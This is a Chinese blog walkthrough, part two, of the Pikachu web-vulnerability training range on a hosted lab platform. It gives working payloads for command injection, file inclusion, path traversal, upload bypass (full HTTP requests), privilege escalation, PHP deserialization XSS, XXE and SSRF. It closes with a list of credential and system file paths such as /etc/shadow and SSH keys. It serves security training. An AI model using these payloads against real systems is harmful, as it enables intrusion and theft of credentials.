谜团靶机writeup - Pikachu靶场通关指南-下

原创

zycdn 于 2022-01-25 16:19:27 发布 2362 收藏

分类专栏： 谜团靶机 文章标签： 安全 php web安全

本文链接：https://blog.csdn.net/zycdn/article/details/122679564

RCE(远程命令/代码执行)

ping

`localhost | cat /etc/passwd`、`localhost | whoami`

eval

`phpinfo();`或者`file_put_contents("mituan.txt","<?php phpinfo();");`提交之后，访问`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/rce/mituan.txt`即可看到文件，然后可以利用文件包含。

Files Inclusion(文件包含漏洞)

本地文件包含

访问`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/fileinclude/fi_local.php?filename=../../rce/mituan.txt&submit=Submit+Query`。

远程文件包含

访问`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/fileinclude/fi_remote.php?filename=http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/rce/mituan.txt&submit=Submit+Query`。

不安全的文件下载

访问`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafedownload/execdownload.php?filename=../../../../../../../etc/passwd`。

不安全的文件上传

客户端校验

抓包修改文件名、文件内容。之后访问 `http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafeupload/uploads/client.php`。

```
POST /vul/unsafeupload/clientcheck.php HTTP/1.1
Host: b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Length: 1774
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3SFWAhtNYVBrXxA5
Cookie: UM_distinctid=17de0e3b15b9d7-0a6471d9226e2d-30614205-144000-17de0e3b15ca54
Dnt: 1
Origin: http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone
Referer: http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafeupload/
clientcheck.php
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/88.0.4324.150 Safari/537.36

------WebKitFormBoundary3SFWAhtNYVBrXxA5
Content-Disposition: form-data; name="uploadfile"; filename="client.php"
Content-Type: image/jpeg

<?php
phpinfo();
------WebKitFormBoundary3SFWAhtNYVBrXxA5
Content-Disposition: form-data; name="submit"
```


MIME头

方式同上。

```
POST /vul/unsafeupload/servercheck.php HTTP/1.1
Host: b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Length: 1774
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAenrteZxyB2n3GFr
Cookie: UM_distinctid=17de0e3b15b9d7-0a6471d9226e2d-30614205-144000-17de0e3b15ca54
Dnt: 1
Origin: http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone
Referer: http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafeupload/
servercheck.php
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/88.0.4324.150 Safari/537.36

------WebKitFormBoundaryAenrteZxyB2n3GFr
Content-Disposition: form-data; name="uploadfile"; filename="server.php"
Content-Type: image/jpeg

<?php
echo "servercheck";
------WebKitFormBoundaryAenrteZxyB2n3GFr
```

类型验证

生成图片`copy 10.jpg/b+c.php pic.jpg`上传，访问
·`ttp://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafeupload/uploads/2022/01/25/20870161ef5bec2fd5a455603730.jpg`，然后再文件包
含`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/fileinclude/fi_remote.php?filename=http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafeupload/uploads/2022/01/25/20870161ef5bec2fd5a455603730.jpg&submit=Submit+Query`。

Over Permisson(越权漏洞)

水平越权

使用lucy/123456登录，点击查看个人信息抓包，修改用户名即可查看其他用户资料。

垂直越权

使用admin/123456登录，发现可以查看、增加、删除用户，其中查看与删除都是op2_admin.php页面的功能，增加用户是op2_admin_edit.php页面的功能。

使用pikachu/000000登录，然后将浏览器地址直接换成op2_admin.php，发现提示登录。但是将地址换成`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/overpermission/op2/op2_admin_edit.php`，确可以进入且能够添加用户。

欢迎来到后台管理中心,您只有查看权限! | 退出登录

用名	性别	手机	邮箱	地址
vince	boy	18626545453	vince@pikachu.com	chain
allen	boy	13676767767	allen@pikachu.com	nba 76
kobe	boy	15988767673	kobe@pikachu.com	nba lakes
grady	boy	13676765545	grady@pikachu.com	nba hs
kevin	boy	13677676754	kevin@pikachu.com	Oklahoma City Thund
lucy	girl	12345678922	lucy@pikachu.com	usa
lili	girl	18656565545	lili@pikachu.com	usa
mituan001	mituan001	mituan001	mituan001	mituan001
mituan001	mituan001	mituan001	mituan001	mituan001
mituan002	mituan001	mituan001	mituan001	mituan001
mituan003	mituan003	mituan003	mituan003	mituan003
mituan004	mituan004	mituan004	mituan004	mitu

目录遍历

发现地址栏有参数`title=jarheads.php`，尝试`../`进行目录遍历，比如以下文件可以利用`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/dir/dir_list.php?title=../../../index.php`、`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/dir/dir_list.php?title=../../../vul/dir/soup/truman.php`、`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/dir/dir_list.php?title=../../../test/phpinfo.txt`。

敏感信息泄露

打开`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/infoleak/findabc.php`，查看源代码发现`<!-- 测试账号:lili/123456-->`。

敏感信息泄露 › abc

退出登陆

那一天我二十一岁，在我一生的黄金时代

我有好多奢望。我想爱，想吃，还想在一瞬间变成天上半明半暗的云

后来我才知道，生活就是个缓慢受锤的过程，人一天天老下去，奢望也一天天消失，最后变得像挨了锤的牛一样

可是我过二十一岁生日时没有预见到这一点。我觉得自己会永远生猛下去，什么也锤不了我

-----王小波《黄金时代》

PHP反序列化漏洞

```php
<?php
 class S{
  var $test = "<img src=# onload=alert(1) onerror=alert(2)>";
  function __destruct(){
   //echo $this->test;
  }
 }

 $s=new S(); //创建一个对象
 echo serialize($s); //把这个对象进行序列化

    echo "----------------------------------------";
    $u=unserialize('O:1:"S":1:{s:4:"test";s:44:"<img src=# onload=alert(1) onerror=alert(2)>";}');
    echo $u->test;
    echo "----------------------------------------";
    $u=unserialize('O:1:"S":2:{s:4:"test";s:7:"pikachu";s:4:"test";s:44:"<img src=# onload=alert(1) onerror=aler
t(2)>";}');
    echo $u->test;
?>
```

输入`O:1:"S":1:{s:4:"test";s:44:"<img src=# onload=alert(1) onerror=alert(2)>";}`，弹窗。

XXE(XML External Entity attack)

输入以下内容，提交即可。

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
 <!ELEMENT foo ANY>
 <!ENTITY entity SYSTEM "file:///etc/passwd">
]>
<scan>&entity;</scan>
```

不安全的URL重定向

点击`http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/urlredirect/urlredirect.php?url=http://www.baidu.com`，跳转到百度页面。

SSRF(Server-Side Request Forgery)

curl

文件读取：`http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php`

文件读取：`http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd`

内网探测：`http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_curl.php?url=localhost:3306`

file_get_content

PHP伪协议：`http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=http://127.0.0.1/index.php`

文件读取：`http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_fgc.php?file=file:///etc/passwd`

查询IP：`http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_fgc.php?file=https://tool.lu/ip`

系统敏感文件路径

```
// Windowsadmin
c:\boot.ini      // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam    // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini                 // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD       // MySQL root密码
c:\windows\php.ini                   // php 配置信息
c:\Windows\win.ini                   // Windows系统的一个基本系统配置文件

// Linux
/etc/passwd                          // 账户信息
/etc/shadow                       // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf                  // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini                 // PHP相关配置
/etc/httpd/conf/httpd.conf     // Apache配置文件
/etc/my.conf       // mysql 配置文件
/proc/mounts      // 记录系统挂载设备
/porc/config.gz             // 内核配置文件
/var/lib/mlocate/mlocate.db           // 全文件路径
/porc/self/cmdline     // 当前进程的cmdline参数
/root/.ssh/known_hosts     // 记录每个访问计算机用户的公钥
/root/.bash_history     // 用户历史命令记录文件
/root/.mysql_history            // mysql历史命令记录文件
/root/.ssh/authorized_keys           // 公钥相关
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
```